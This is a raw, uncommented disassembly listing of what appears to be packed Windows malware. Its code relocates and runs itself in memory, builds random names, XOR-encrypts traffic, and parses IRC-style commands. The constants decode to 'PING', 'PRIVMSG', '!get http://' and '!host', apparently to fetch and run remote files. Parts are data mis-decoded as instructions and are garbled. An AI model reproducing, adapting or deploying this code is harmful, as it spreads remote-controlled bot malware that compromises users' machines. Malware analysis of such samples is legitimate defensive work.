[ebp+1235226Ch] movzx eax, word ptr [eax+12h] dec byte ptr [ebp+12351630h] mov [ebp+12351632h], eax mov byte ptr [ebp+12351631h], 1 jmp short loc_48A1CF ; --------------------------------------------------------------------------- loc_48A1C8: ; CODE XREF: sub_48EB00-4961j mov byte ptr [ebp+12351631h], 0 loc_48A1CF: ; CODE XREF: sub_48EB00-493Aj lea edi, [ebp+123521A6h] mov byte ptr [ebp+123526F7h], 47h mov cl, 3 call sub_48B60A pop edi mov byte ptr [ebp+123526F7h], 90h call dword ptr [ebp+123522D4h] shr eax, 1Fh jz loc_48A2AB mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+12355B84h], eax push 5298h push 0 call dword ptr [ebp+1235231Ch] test eax, eax jz short loc_48A294 call sub_48A571 sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+1235262Fh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+12355B84h] add esp, 20h test eax, eax jz short loc_48A294 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+12355B84h] test eax, eax jz short loc_48A294 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+12355B84h] push 1000Ah call dword ptr [ebp+12355B84h] call sub_48A29B loc_48A294: ; CODE XREF: sub_48EB00-48E5j ; sub_48EB00-48B3j ... mov edi, offset loc_48EC48 jmp edi ; END OF FUNCTION CHUNK FOR sub_48EB00 ; =============== S U B R O U T I N E ======================================= sub_48A29B proc near ; CODE XREF: sub_48EB00-4871p ; sub_48A29B+Dj ... push 1 pop ecx jecxz short locret_48A2AA push 0Ah call dword ptr [ebp+12352314h] jmp short sub_48A29B ; --------------------------------------------------------------------------- locret_48A2AA: ; CODE XREF: sub_48A29B+3j retn sub_48A29B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48A2AB: ; CODE XREF: sub_48EB00-490Cj cmp dword ptr [ebp+123522A4h], 0 jz short loc_48A294 and dword ptr [ebp+12355B84h], 0 push 0FFFFFFFFh push 0FFFFFFFEh call dword ptr [ebp+12352310h] call near ptr loc_48A2CF+1 dec esi push esp inc esp dec esp dec esp loc_48A2CF: ; CODE XREF: sub_48EB00-483Bp add bh, bh xchg eax, ebp insb and dh, ds:8DC93312h mov ch, 24h and esi, ds:68BD8D12h and esi, ds:9311B112h call sub_48AFCB cmp dword ptr [ebp+123523A8h], 0 jz short loc_48A294 mov eax, [ebp+12352380h] push dword ptr [eax+1] pop dword ptr [ebp+12355AE1h] cmp dword ptr [ebp+12355AE1h], 0FFFFh jbe short loc_48A317 and dword ptr [ebp+12352380h], 0 loc_48A317: ; CODE XREF: sub_48EB00-47F2j mov eax, [ebp+1235236Ch] push dword ptr [eax+1] pop dword ptr [ebp+1235574Eh] cmp dword ptr [ebp+1235574Eh], 0FFFFh ja loc_48A294 mov eax, [ebp+12352388h] push dword ptr [eax+1] pop dword ptr [ebp+123557D3h] cmp dword ptr [ebp+123557D3h], 0FFFFh ja loc_48A294 mov eax, [ebp+12352370h] push dword ptr [eax+1] pop dword ptr [ebp+123557DDh] cmp dword ptr [ebp+123557DDh], 0FFFFh ja loc_48A294 mov ecx, [ebp+12352374h] jecxz short loc_48A3B6 push dword ptr [ecx+1] pop dword ptr [ebp+123557EAh] cmp dword ptr [ebp+123557EAh], 0FFFFh ja loc_48A294 mov ecx, [ebp+1235237Ch] jecxz short loc_48A3B6 push dword ptr [ecx+1] pop dword ptr [ebp+123557F7h] cmp dword ptr [ebp+123557F7h], 0FFFFh ja loc_48A294 loc_48A3B6: ; CODE XREF: sub_48EB00-4786j ; sub_48EB00-4765j mov ecx, [ebp+12352398h] jecxz short loc_48A3DA push dword ptr [ecx+1] pop dword ptr [ebp+1235582Bh] cmp dword ptr [ebp+1235582Bh], 0FFFFh jbe short loc_48A3DA and dword ptr [ebp+12352398h], 0 loc_48A3DA: ; CODE XREF: sub_48EB00-4744j ; sub_48EB00-472Fj lea eax, [ebp+12352182h] lea edi, [ebp+12355AE8h] push eax push edi call dword ptr [ebp+1235227Ch] call sub_48B36F jnz short loc_48A424 mov eax, large fs:30h mov eax, [eax+54h] mov eax, [eax+4] push dword ptr [eax+14h] push edi call dword ptr [ebp+1235227Ch] lea eax, [ebp+123521A4h] push eax push edi call dword ptr [ebp+12352274h] call sub_48B36F jz loc_48A294 loc_48A424: ; CODE XREF: sub_48EB00-470Dj push 5298h mov edx, esp push 0 mov ecx, esp push 4 push 0 push 2 push edx push 0 push 5298h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+12352384h] pop eax pop ecx test eax, eax jz loc_48A294 call sub_48A571 push eax push esp push 20h push 0FFFFFFFFh call dword ptr [ebp+1235238Ch] test eax, eax pop edi jnz short near ptr loc_48A49B+2 call sub_48B05A call near ptr loc_48A480+4 push ebx db 65h inc esp bound esi, gs:[ebp+67h] push eax jb short loc_48A4E6 jbe short near ptr loc_48A4E6+2 insb loc_48A480: ; CODE XREF: sub_48EB00-4692p db 65h add gs:[bx-18h], dl or dword ptr [esi], 0B5FF0000h lock pop ebx xor eax, 0AC95FF12h and dh, ds:95FF5712h mov [edx], ah loc_48A49B: ; CODE XREF: sub_48EB00-4699j xor eax, 6A006A12h add bh, bh xchg eax, ebp movsb and dh, ds:128B912h ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- xchg eax, edi sub esp, ecx mov [esp], ecx push esp push edi call dword ptr [ebp+123522F4h] xor esi, esi and dword ptr [ebp+12355C40h], 0 ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48A4C3: ; CODE XREF: sub_48EB00-462Dj ; sub_48EB00-45C5j push esp push edi call dword ptr [ebp+123522F8h] test eax, eax jz short loc_48A53D inc esi cmp esi, 4 jb short loc_48A4C3 push dword ptr [esp+8] push 0 push 2Ah call dword ptr [ebp+123522F0h] test eax, eax ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48A4E6: ; CODE XREF: sub_48EB00-4685j ; sub_48EB00-4683j fcom qword ptr [ebx+0F41E8h] add [ebx], dh leave xchg eax, ecx jecxz short loc_48A534 cmp [ebp+12355C40h], eax jnz short loc_48A534 mov edx, [esp+24h] or edx, 20202020h cmp edx, 73727363h jz short loc_48A534 add ecx, 1FD1h push eax push esp push eax push esi push ecx push eax push eax push ebx call dword ptr [ebp+1235229Ch] test eax, eax pop ecx jz short loc_48A534 push [esp+78h+var_70] pop dword ptr [ebp+12355C40h] call sub_48A29B loc_48A534: ; CODE XREF: sub_48EB00-4610j ; sub_48EB00-4608j ... push ebx call dword ptr [ebp+12352288h] jmp short loc_48A4C3 ; --------------------------------------------------------------------------- loc_48A53D: ; CODE XREF: sub_48EB00-4633j add esp, 128h push edi call dword ptr [ebp+12352288h] jmp loc_48A294 ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- align 10h dd 1C00h, 58585800h, 529800h, 1ECA00h, 3 dup(0) dd 50ABBB00h db 84h ; =============== S U B R O U T I N E ======================================= sub_48A571 proc near ; CODE XREF: sub_48EB00-48E3p ; sub_48EB00-46ADp sub [esp+0], ebp lea edi, [eax+1F0h] lea esi, [ebp+123511F0h] lea eax, [edi+481h] push esi mov ecx, 1267h rep movsd jmp eax sub_48A571 endp ; --------------------------------------------------------------------------- sub eax, 12351671h pop esi mov ebp, eax lea edi, [eax+12351000h] add [esp], eax sub esi, [ebp+12351EB3h] xor edx, edx dec byte ptr [ebp+12351732h] loc_48A5AF: ; CODE XREF: UPX2:0048A614j push esi movzx ebx, word ptr [ebp+edx*8+12351737h] movzx ecx, word ptr [ebp+edx*8+12351739h] add esi, ebx cmp ebx, [ebp+12351EB3h] jbe short loc_48A5D0 sub ebx, 499Ch loc_48A5D0: ; CODE XREF: UPX2:0048A5C8j and ecx, 7FFFh loc_48A5D6: ; CODE XREF: UPX2:0048A609j bt [ebp+12351D73h], ebx jnb short loc_48A5E2 inc esi jmp short loc_48A608 ; --------------------------------------------------------------------------- loc_48A5E2: ; CODE XREF: UPX2:0048A5DDj cmp dword ptr [ebp+12351EB7h], 0 jz short loc_48A607 mov eax, ebx sub eax, [ebp+12351EB7h] jb short loc_48A607 cmp eax, 3 jnb short loc_48A607 mov al, [eax+ebp+12351EBBh] inc esi stosb jmp short loc_48A608 ; --------------------------------------------------------------------------- loc_48A607: ; CODE XREF: UPX2:0048A5E9j ; UPX2:0048A5F3j ... movsb loc_48A608: ; CODE XREF: UPX2:0048A5E0j ; UPX2:0048A605j inc ebx loop loc_48A5D6 inc dl pop esi cmp dl, [ebp+12351732h] jb short loc_48A5AF push 1Fh lea esi, [ebp+12351EBEh] pop ecx loc_48A622: ; CODE XREF: UPX2:0048A639j movzx edx, word ptr [esi] movzx eax, word ptr [esi+4] movzx ebx, word ptr [esi+2] sub eax, ebx mov [edx+ebp+12351000h], eax add esi, 6 loop loc_48A622 mov byte ptr [ebp+1235118Bh], 0 mov byte ptr [ebp+123511EBh], 0C3h and dword ptr [ebp+12355B74h], 0 retn ; --------------------------------------------------------------------------- db 2Ch, 0Dh, 0 dd 4ADA0000h, 150018h, 4E88000Dh, 5001Fh, 4DC60022h, 50005h dd 4CDB0027h, 110005h, 6F002Ch, 1B001Bh, 4CFD003Dh, 0F002Bh dd 4D8B0058h, 110029h, 4C750067h, 90019h, 4DFD0078h, 0E802Ah dd 0AC0081h, 80027h, 4C3D008Fh, 0E800Dh, 4AF70097h, 8002Bh dd 4B4800A5h, 0C000Eh, 4C0400ADh, 8001Bh, 4CB200B9h, 10800Fh dd 4CE500C1h, 0B0013h, 4C4A00D1h, 90011h, 0DCh, 0E001Bh dd 4C9300E5h, 6001Ah, 4D5C00F3h, 9002Ah, 4DEC00F9h, 6000Ch dd 5B0102h, 8000Fh, 4B270108h, 0F001Ch, 4BD00110h, 0A002Fh dd 0FB011Fh, 7000Fh, 4AC50129h, 0F0010h, 4B950130h, 0C000Fh dd 8F013Fh, 80018h, 4DB9014Bh, 0B0008h, 200153h, 0A0036h dd 4DD0015Eh, 80017h, 4B5B0168h, 0D0020h, 4BA90170h, 0C0022h dd 0D8017Dh, 8001Eh, 4B800189h, 100010h, 4D2D0191h, 0C002Ah dd 4AAB01A1h, 0A0015h, 4C2401ADh, 0B0014h, 4E2701B7h, 0D000Dh dd 4E6B01C2h, 70018h, 4CC101CFh, 0E0015h, 4E3901D6h, 0C002Dh dd 4C6001E4h, 499C0010h, 10F01F0h, 0C99Ch, 137h dup(0) dd 0C7FF0000h, 0FFC1203Dh, 0FFFFFF83h, 800FFF1Fh, 0C818Fh dd 0F1FE0h, 0E7FFF83Eh, 7FE0FF39h, 0FDF00780h, 0FF00107Fh dd 1FC1CE03h, 0FF8FF804h, 0F000FF83h, 8003D7FFh, 1FFFFC4Fh dd 7CB41CFEh, 0F6000000h, 0B9E0799Fh, 0F803C7FFh, 3FF8FFFFh dd 700E07Bh, 0F8000FEh, 780F8F18h, 187E1C0h, 43FF0E0h dd 0FEE03F40h, 0EC06027h, 0FF80E000h, 0F03E0003h, 0FFE60FFEh dd 0FF7FF803h, 0BC7FFFFCh, 0DFE0603Fh, 83E01F7Fh, 0F81F33F1h dd 0FFFEC007h, 0C03FFF63h, 0FFF3E000h, 0F00FC0FFh, 0FF83807Fh dd 98438003h, 7C7FDE00h, 0CE047C7Ch, 8187E073h, 800003FFh dd 0E07h, 21h dup(0) dd 4EAC0000h, 10F0000h, 0 dd 73FF0000h, 5000117h, 9B000500h, 0C1009F00h, 500A100h dd 0B200BA00h, 88000500h, 0F300EF4Bh, 1500E500h, 0F3011901h dd 36013200h, 41011B01h, 9014501h, 68016401h, 31015E01h dd 3D003500h, 3D003900h, 44004800h, 27004800h, 52004E00h dd 5400F400h, 88000500h, 5D00594Bh, 61009700h, 95006500h dd 75007100h, 7D008100h, 8D008100h, 8B008700h, 9100F400h dd 6C009500h, 7A017601h, 85009501h, 8B000501h, 96019201h dd 0A200F401h, 0F401A601h, 0AB01A700h, 0AF015B01h, 5B01B301h dd 501C601h, 0DA009500h, 0EB000501h, 501E701h, 0E000BF00h dd 0F0000501h, 0F001EC01h, 0FB00E001h, 0F401FF01h, 5020200h dd 0E013700h, 95020B02h, 8A148600h, 1A00C114h, 0AA000100h dd 0C3000100h, 0D1000300h, 3000400h, 9000101h, 0D000101h dd 28000101h, 2C000101h, 45000101h, 4D000101h, 7A000101h dd 96000101h, 0BE000101h, 0D0000101h, 101h, 6008000h, 0D00F700h dd 2A00B700h, 3D003600h, 5200B700h, 5D00A700h, 65003600h dd 6F00B500h, 75003700h, 8100B600h, 8B00B700h, 8D00A700h dd 8F00B600h, 95003600h, 9600FF00h, 97008000h, 9F008700h dd 0B6008000h, 0C3008600h, 0E0008200h, 0EC008000h, 0F3000000h dd 0F4008700h, 0F600B700h, 0FC00B600h, 300B300h, 900A101h dd 0B00A001h, 19000001h, 2C008001h, 45000001h, 4B008101h dd 56008401h, 5D008701h, 62008601h, 68000601h, 6B00A401h dd 6C00A001h, 7200B201h, 7A003601h, 7F00B201h, 9600B701h dd 9A00A501h, 0A600B501h, 0AB00A301h, 0B300A001h, 0BA00B001h dd 0BE003001h, 0C400B001h, 0CF00B201h, 0D4003201h, 0D800B401h dd 0DE00B601h, 0E400B701h, 0EB00B601h db 1, 0B2h, 0 ; =============== S U B R O U T I N E ======================================= sub_48AFCB proc near ; CODE XREF: sub_48EB00-497Bp ; sub_48EB00-4819p ... lodsd push ecx push esi push edi cmp dword ptr [ebp+12355B74h], 0 jz short loc_48AFE0 xor eax, [ebp+12355B70h] jmp short loc_48AFE6 ; --------------------------------------------------------------------------- loc_48AFE0: ; CODE XREF: sub_48AFCB+Bj xor eax, [ebp+12351137h] loc_48AFE6: ; CODE XREF: sub_48AFCB+13j push eax mov [ebp+12355B78h], esp cmp dword ptr [ebp+12355B74h], 0 jz short loc_48AFFE call dword ptr [ebp+12355B74h] jmp short loc_48B003 ; --------------------------------------------------------------------------- loc_48AFFE: ; CODE XREF: sub_48AFCB+29j call near ptr byte_48A013 loc_48B003: ; CODE XREF: sub_48AFCB+31j cmp esp, [ebp+12355B78h] jnz short loc_48B010 pop ecx xor eax, eax jmp short loc_48B04E ; --------------------------------------------------------------------------- loc_48B010: ; CODE XREF: sub_48AFCB+3Ej mov eax, esi mov edx, [ebx+3Ch] sub eax, ebx sub eax, [edx+ebx+78h] jb short loc_48B04D sub eax, [edx+ebx+7Ch] jnb short loc_48B04D sub esp, 40h mov edi, esp loc_48B028: ; CODE XREF: sub_48AFCB+63j lodsb cmp al, 2Eh jz short loc_48B030 stosb jmp short loc_48B028 ; --------------------------------------------------------------------------- loc_48B030: ; CODE XREF: sub_48AFCB+60j mov eax, 4C4C442Eh stosd mov al, 0 stosb push esp call dword ptr [ebp+1235226Ch] add esp, 40h push esi push eax call dword ptr [ebp+12355B6Ch] jmp short loc_48B04E ; --------------------------------------------------------------------------- loc_48B04D: ; CODE XREF: sub_48AFCB+50j ; sub_48AFCB+56j xchg eax, esi loc_48B04E: ; CODE XREF: sub_48AFCB+43j ; sub_48AFCB+80j pop edi pop esi pop ecx stosd dec ecx jnz sub_48AFCB retn sub_48AFCB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_48B05A proc near ; CODE XREF: sub_48EB00-4697p call near ptr loc_48B06B+1 inc ecx inc esp push esi inc ecx push eax dec ecx xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_48B06B: ; CODE XREF: sub_48B05Ap add bh, bh sub_48B05A endp ; sp-analysis failed xchg eax, ebp call near ptr 895AE595h test esi, eax pop ebx xor eax, 16E812h ; --------------------------------------------------------------------------- db 0 db 0 aLookupprivileg db 'LookupPrivilegeValueA',0 ; --------------------------------------------------------------------------- push eax call dword ptr [ebp+12355B6Ch] mov [ebp+12355BF4h], eax retn ; --------------------------------------------------------------------------- dd offset dword_401000+1F05Ch db 61h, 0, 73h dd 4E006500h, 6D006100h, 64006500h, 62004F00h, 65006A00h dd 74006300h, 5C007300h, 72006A00h, 74007A00h, 74005600h dd 69000000h, 0FE1710Eh, 8AB11877h, 28606EF9h, 10606EEFh dd 0F0606EECh, 0B9B1186Eh, 0D0606E7Fh, 30AD0453h, 0B748E416h dd 0E59C199Dh, 82BBD804h, 54899F6Bh, 0CA2AE61Ah, 4824DE79h dd 687F3E0Ch, 0B149C4A1h, 7DC5210Bh, 0E81F9EC0h, 4D161DF3h dd 0E112CC1Dh, 4812CC10h, 9705D141h, 30E7EA3Fh, 0BE844B24h dd 0A4E6E31Fh, 9EC53404h, 145CF335h, 6B6A5F9Ah, 1F8C3170h dd 5ECEE4B8h, 0E44F2957h, 0FC2AAE27h, 9BC29A8Eh, 0CEF1BE72h dd 4F5E97E5h, 0BEF53CEDh, 0B473A17Fh, 3462AC23h, 5182B647h dd 559E378Dh, 10EE4BFCh, 79953C96h, 0F5FFB9F3h, 9659AA24h dd 0E5223F13h, 0A1400710h, 417C80B6h, 327C834Dh, 0A17C810Fh dd 647C80BAh, 0B67C80BAh, 97C80BDh, 477C809Ah, 0EE7C809Bh dd 247C8286h, 5C7C801Ah, 677C8094h, 2C7C8023h, 377C8104h dd 0F7C8106h, 587C864Bh, 0DE7C80C0h, 0E37C80ABh, 3C7C8214h dd 777C8115h, 457C810Ah, 0CF7C831Ch, 0EA7C80B4h, 0FF7C814Eh dd 0CA7C8608h, 9C7C835Dh, 0DA7C8092h, 0DE7C8111h, 0A57C812Ah dd 637C821Bh, 2D7C8213h, 777C80FDh, 57C801Dh, 0E17C80B9h dd 0E57C8309h, 587C863Dh, 0E7C863Fh, 447C8018h, 827C8320h dd 8E7C8127h, 0B87C810Bh, 7A7C831Ch, 427C82FAh, 747C8024h dd 517C80B9h, 877C809Ah, 6E7C810Dh, 423262AAh, 3331B91Bh dd 50802969h, 0FDA46571h, 0EE7EBF00h, 89A7B2B2h, 1DA3551Ah dd 5437D7E3h, 0B628E7B4h, 4BCA2261h, 9D3E1305h, 0FB52DD05h dd 71C74164h, 8528B246h, 5DCCCB16h, 1D061CD9h, 6056AA83h dd 827C90D4h, 547C90D6h, 697C90D7h, 937C90D7h, 7C90D7h dd 0E3000000h, 557C90D8h, 0FD7C90DCh, 907C90DCh, 0BA7C90DDh dd 0B67C90DDh, 1B7C90DEh, 457C90E0h, 0AA7C90E0h, 327C90E1h dd 0C67C90EAh, 187C9130h, 15ECFB95h, 5649B243h, 50B767E9h dd 0ABEC1BDh, 48FFF9C2h, 3DFFF9B4h, 0E1FA703Eh, 0A3D26F98h dd 0DAE15A0Ch, 9363E5E5h, 7D03DFD2h, 0D5ED0141h, 230F8E1Bh dd 5F4A5B1Ah, 530DFF4h, 56B65E43h, 26AF633h, 0D48B5656h dd 0FF52016Ah, 0FF561872h, 355BF495h, 56C48B12h, 56505656h dd 0FF1870FFh, 35236895h, 10C48312h, 8C25Eh, 2B05E983h dd 6851C8h, 8DE80000h, 6A03244Ch, 51056A00h, 56A5350h dd 8B50CC8Bh, 6A5450D4h, 53525140h, 239495FFh, 0C4831235h dd 0A495FF0Ch, 83123523h ; --------------------------------------------------------------------------- les ecx, [eax] retn ; =============== S U B R O U T I N E ======================================= sub_48B36F proc near ; CODE XREF: sub_48EB00-4712p ; sub_48EB00-46E7p var_1F8 = byte ptr -1F8h sub esp, 200h lea ebx, [esp+200h+var_1F8] push edi push ebx call dword ptr [ebp+1235227Ch] push ebx call dword ptr [ebp+12352284h] shl eax, 1 mov [ebp+12355B68h], eax mov [ebx-8], ax add eax, 2 mov [ebx-6], ax mov [ebx-4], ebx sub esp, 14h sub ebx, 8 call sub_48ECE8 push 0 push edx push 40h push ebx push 0 push 18h mov edx, esp push 0 push 9298h mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+12352378h] xor edx, edx test eax, eax pop eax setns dl add esp, 234h neg edx and eax, edx retn sub_48B36F endp ; =============== S U B R O U T I N E ======================================= sub_48B3E9 proc near ; CODE XREF: UPX2:loc_48BF62p mov eax, [ebp+12355B68h] lea edx, [ebp+12355AE8h] add eax, 2 xor ecx, ecx shl eax, 10h push ecx mov ax, [ebp+12355B68h] push edx push eax mov eax, esp push ecx push ecx push 40h push eax push ecx push 18h add eax, 8 push esp push 0Eh push eax call dword ptr [ebp+12352390h] add esp, 20h xor edx, edx test eax, eax setns dl neg edx pop eax and eax, edx retn sub_48B3E9 endp ; --------------------------------------------------------------------------- dw 3357h dd 0FFB3E8FFh, 840FFFFFh, 0DFh, 92986850h, 0D48B0000h dd 0CC8B006Ah, 68406Ah, 6A001000h, 6A5202h, 929868h, 51006A00h dd 95FF5053h, 12352384h, 95FF595Fh, 12352288h, 840FFF85h dd 0A7h, 164A8D8Bh, 0CE31235h, 1000958Dh, 0D1031235h, 0D2FF5357h dd 3E9185F7h, 201235h, 15740000h, 2380858Bh, 0C0851235h dd 8F8D0B74h, 4A63h, 0FFFE8FE8h, 6C858BFFh, 8D123523h dd 474D8Fh, 0FE7EE800h, 858BFFFFh, 12352388h, 47D28F8Dh dd 6DE80000h, 8BFFFFFEh, 35237085h, 0DC8F8D12h, 0E8000047h dd 0FFFFFE5Ch, 2374858Bh, 0C0851235h, 8F8D0B74h, 47E9h dd 0FFFE47E8h, 7C858BFFh, 85123523h, 8D0B74C0h, 47F68Fh dd 0FE32E800h, 858BFFFFh, 12352398h, 0B74C085h, 482A8F8Dh dd 1DE80000h, 8BFFFFFEh, 55C35FC7h, 0E8h, 0ED815D00h, 12352606h dd 858DC933h, 12352FD1h, 51515451h, 0FF515150h, 3522A095h dd 24048712h, 228895FFh, 0C25D1235h, 0E8550004h, 0 dd 35ED815Dh, 6A123526h, 958DFFh, 50123526h, 2420CD52h dd 83002A00h, 0C7660CC4h, 35264685h, 0C720CD12h, 35264885h dd 2A002412h, 6AC35D00h, 0FF016A01h, 473FF33h, 0C08515FFh dd 0B68F074h, 8B000000h, 50035BD0h, 64B58D3Ch, 8B123526h dd 10CBAh, 88A8B00h, 3000001h, 60CB2BF8h, 0A6F3CB8Bh, 47057461h dd 0C2EBF5E2h, 570FC783h, 8B53D48Bh, 6A5450CCh, 6A525140h dd 9495FFFFh, 83123523h, 958B0CC4h, 123522A8h, 0EA83D72Bh dd 6A07C707h, 8900E800h, 0E8C30357h, 2 ; --------------------------------------------------------------------------- xchg eax, edx retn ; =============== S U B R O U T I N E ======================================= sub_48B5F6 proc near ; CODE XREF: sub_48B60A+3p ; sub_48B6FE+CBp ... imul edx, [ebp+12355B7Ch], 8088405h inc edx mov [ebp+12355B7Ch], edx mul edx retn sub_48B5F6 endp ; =============== S U B R O U T I N E ======================================= sub_48B60A proc near ; CODE XREF: sub_48EB00-4922p ; sub_48B60A+Fj push 1Ah pop eax call sub_48B5F6 lea eax, [edx+61h] stosb nop dec cl jnz short sub_48B60A retn sub_48B60A endp ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 12352703h mov ebx, [ebp+12355C4Ah] cmp dword ptr [esp+8], 0 jz loc_48B6F3 sub esp, 208h push esp push 104h call dword ptr [ebp+123522CCh] mov edi, esp lea eax, [esp+104h] push eax push 0 call near ptr loc_48B660+1 push esi push edx push esp loc_48B660: ; CODE XREF: UPX2:0048B658p add [edi-1], dl xchg eax, ebp enter 3522h, 12h xor ecx, ecx lea edx, [edi+104h] push ecx push ecx push 2 push ecx push 1 push 40000000h push edx call dword ptr [ebp+12352290h] xchg eax, esi test esi, esi jz short loc_48B6E3 loc_48B688: ; CODE XREF: UPX2:0048B6B6j push eax push esp push 104h push edi push dword ptr [esp+220h] call dword ptr [ebp+12355C2Ch] pop ecx test eax, eax jz short loc_48B6B8 jecxz short loc_48B6B8 push eax mov edx, esp push 0 push edx push ecx push edi push esi call dword ptr [ebp+12352320h] pop ecx test eax, eax jnz short loc_48B688 loc_48B6B8: ; CODE XREF: UPX2:0048B6A0j ; UPX2:0048B6A2j push esi call dword ptr [ebp+12352288h] lea edx, [edi+44h] push edx push edi push 44h pop eax lea edx, [edi+104h] stosd xor eax, eax push 10h pop ecx rep stosd push eax push eax push eax push eax push eax push eax push eax push edx call dword ptr [ebp+12352298h] loc_48B6E3: ; CODE XREF: UPX2:0048B686j add esp, 208h push dword ptr [esp+8] call dword ptr [ebp+12355C1Ch] loc_48B6F3: ; CODE XREF: UPX2:0048B634j push ebx call dword ptr [ebp+12355C1Ch] pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_48B6FE proc near ; CODE XREF: UPX2:0048C4AEp ; FUNCTION CHUNK AT 0048B82B SIZE 00000051 BYTES cmp byte ptr [esi], 0Ah jnz short loc_48B704 inc esi loc_48B704: ; CODE XREF: sub_48B6FE+3j mov ecx, [ebp+12351646h] jecxz short loc_48B725 lea edx, [ebp+12351000h] add edx, ecx push esi call edx test al, al js loc_48B87A jz loc_48B871 loc_48B725: ; CODE XREF: sub_48B6FE+Cj cmp byte ptr [esi], 3Ah jnz short loc_48B73A loc_48B72A: ; CODE XREF: sub_48B6FE+39j inc esi cmp byte ptr [esi], 0 jz loc_48B871 cmp byte ptr [esi], 20h jnz short loc_48B72A inc esi loc_48B73A: ; CODE XREF: sub_48B6FE+2Aj cmp dword ptr [esi], 474E4950h jnz short loc_48B768 mov ecx, edi mov byte ptr [esi+1], 4Fh sub ecx, esi push ecx push 0 push ecx push esi push ebx call sub_48B87C pop ecx cmp eax, ecx jnz loc_48B87A call sub_48BEA9 jmp loc_48B871 ; --------------------------------------------------------------------------- loc_48B768: ; CODE XREF: sub_48B6FE+42j cmp dword ptr [esi], 56495250h jnz loc_48B871 add esi, 8 loc_48B777: ; CODE XREF: sub_48B6FE+84j lodsb cmp al, 0Dh jz loc_48B871 cmp al, 20h jnz short loc_48B777 lodsb cmp al, 3Ah jnz loc_48B871 lodsd or eax, 20202020h cmp eax, 74656721h jnz loc_48B82B lodsb cmp al, 20h jnz loc_48B873 cmp dword ptr [esi-1], 74746820h jnz loc_48B871 cmp dword ptr [esi+3], 2F2F3A70h jnz loc_48B871 mov byte ptr [edi-1], 0 xor eax, eax mov ah, 28h call sub_48B5F6 push edx call dword ptr [ebp+12352314h] xor eax, eax push eax push eax push eax push eax call near ptr loc_48B7E7+2 inc esp outsd ja short near ptr loc_48B850+2 insb outsd popa loc_48B7E7: ; CODE XREF: sub_48B6FE+DDp db 64h add bh, bh sub_48B6FE endp ; sp-analysis failed xchg eax, ebp and al, 5Ch xor eax, 74C08512h jle short near ptr loc_48B823+4 leave mov [ebp+12355C4Ah], eax push ecx push 84000300h push ecx push ecx push esi push eax call dword ptr [ebp+12355C28h] lea edx, [ebp+123526FDh] push eax xor ecx, ecx push esp push ecx push eax push edx push ecx push ecx call dword ptr [ebp+123522A0h] xchg eax, [esp] loc_48B823: ; CODE XREF: UPX2:0048B7F2j call dword ptr [ebp+12352288h] jmp short loc_48B871 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48B6FE loc_48B82B: ; CODE XREF: sub_48B6FE+9Aj cmp eax, 736F6821h jnz short loc_48B871 lodsw or al, 20h cmp ax, 2074h jnz short loc_48B871 lea edi, [ebp+12352ED2h] push 3Eh pop ecx mov edx, edi loc_48B847: ; CODE XREF: sub_48B6FE+156j ; sub_48B6FE+15Bj lodsb cmp al, 20h jb short loc_48B85B cmp al, 20h jnz short loc_48B858 loc_48B850: ; CODE XREF: sub_48B6FE+E4j cmp byte ptr [esi-2], 20h jz short loc_48B847 mov al, 0 loc_48B858: ; CODE XREF: sub_48B6FE+150j stosb loop loc_48B847 loc_48B85B: ; CODE XREF: sub_48B6FE+14Cj cmp edx, edi jz short loc_48B873 mov al, 0 cmp byte ptr [edi-1], 0 jz short loc_48B868 stosb loc_48B868: ; CODE XREF: sub_48B6FE+167j stosb rdtsc mov [ebp+12354BB3h], eax loc_48B871: ; CODE XREF: sub_48B6FE+21j ; sub_48B6FE+30j ... clc retn ; --------------------------------------------------------------------------- loc_48B873: ; CODE XREF: sub_48B6FE+A3j ; sub_48B6FE+15Fj or byte ptr [ebp+12351639h], 1 loc_48B87A: ; CODE XREF: sub_48B6FE+1Bj ; sub_48B6FE+5Aj stc retn ; END OF FUNCTION CHUNK FOR sub_48B6FE ; =============== S U B R O U T I N E ======================================= sub_48B87C proc near ; CODE XREF: sub_48B6FE+52p ; UPX2:0048C41Ep ... arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch pusha mov esi, [esp+20h+arg_4] lea edi, [ebp+123561F7h] mov ecx, [esp+20h+arg_8] mov [esp+20h+arg_4], edi mov edx, [ebp+123561F1h] loc_48B895: ; CODE XREF: sub_48B87C:loc_48B8AEj lodsb xor al, dl stosb ror edx, 8 inc byte ptr [ebp+123561F6h] and byte ptr [ebp+123561F6h], 1 jnz short loc_48B8AE imul edx, 0Dh loc_48B8AE: ; CODE XREF: sub_48B87C+2Dj loop loc_48B895 mov [ebp+123561F1h], edx popa jmp dword ptr [ebp+12355C14h] sub_48B87C endp ; --------------------------------------------------------------------------- mov ebx, [esp+4] call $+5 pop ebp sub ebp, 123529A7h loc_48B8CD: ; CODE XREF: UPX2:0048B902j mov edi, [ebp+1235609Ah] mov esi, [ebp+1235608Ah] add edi, ebx mov ecx, [ebp+1235609Eh] rep movsd mov eax, [ebp+1235609Ah] mov edx, [ebp+12356096h] add eax, [ebp+1235608Eh] mov [edx], eax push 1388h call dword ptr [ebp+12352314h] jmp short loc_48B8CD ; 